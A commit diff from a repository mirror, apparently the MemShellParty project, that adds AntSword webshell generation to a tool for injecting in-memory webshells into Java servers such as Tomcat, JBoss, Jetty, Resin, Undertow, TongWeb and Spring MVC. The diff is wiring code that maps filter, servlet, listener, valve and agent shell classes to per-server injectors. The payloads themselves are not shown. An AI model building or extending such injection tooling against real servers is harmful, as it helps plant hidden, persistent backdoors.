mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support AntSword shell generate (#34)
This commit is contained in:
@@ -57,6 +57,7 @@ jobs:
|
||||
- resin
|
||||
- payara
|
||||
- websphere
|
||||
- websphere7
|
||||
- springmvc
|
||||
- weblogic
|
||||
- springwebflux
|
||||
|
||||
@@ -22,6 +22,7 @@ public class GenerateRequest {
|
||||
private String godzillaKey;
|
||||
private String commandParamName;
|
||||
private String behinderPass;
|
||||
private String antSwordPass;
|
||||
private String headerName;
|
||||
private String headerValue;
|
||||
}
|
||||
@@ -50,6 +51,12 @@ public class GenerateRequest {
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getAntSwordPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -26,6 +26,7 @@ public abstract class AbstractShell {
|
||||
case Command -> getCommandShellMap().keySet().stream().toList();
|
||||
case Behinder -> getBehinderShellMap().keySet().stream().toList();
|
||||
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
|
||||
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
|
||||
default -> Collections.emptyList();
|
||||
};
|
||||
}
|
||||
@@ -77,12 +78,17 @@ public abstract class AbstractShell {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
||||
case Godzilla -> getGodzillaShellMap();
|
||||
case Command -> getCommandShellMap();
|
||||
case Behinder -> getBehinderShellMap();
|
||||
case Suo5 -> getSuo5ShellMap();
|
||||
case AntSword -> getAntSwordShellMap();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
|
||||
};
|
||||
return shellMap.get(shellType);
|
||||
@@ -94,6 +100,7 @@ public abstract class AbstractShell {
|
||||
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
|
||||
@@ -7,6 +8,8 @@ import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -62,4 +65,13 @@ public class ApusicShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,13 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.bes.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.bes.injector.*;
|
||||
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -70,4 +74,15 @@ public class BesShell extends AbstractShell {
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
||||
@@ -7,6 +8,9 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -86,4 +90,15 @@ public class GlassFishShell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -86,4 +90,15 @@ public class InforSuiteShell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -74,4 +78,15 @@ public class JbossShell extends AbstractShell {
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
|
||||
@@ -11,6 +13,8 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -83,4 +87,14 @@ public class JettyShell extends AbstractShell {
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
|
||||
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
||||
@@ -8,6 +9,9 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
|
||||
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -71,4 +75,14 @@ public class ResinShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||
@@ -72,4 +75,13 @@ public class SpringWebMvcShell extends AbstractShell {
|
||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,9 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -15,6 +19,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
@@ -99,4 +104,16 @@ public class TomcatShell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
||||
@@ -82,4 +86,15 @@ public class TongWeb6Shell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
||||
@@ -82,4 +86,15 @@ public class TongWeb7Shell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -8,6 +10,8 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
@@ -83,4 +87,14 @@ public class UndertowShell extends AbstractShell {
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
|
||||
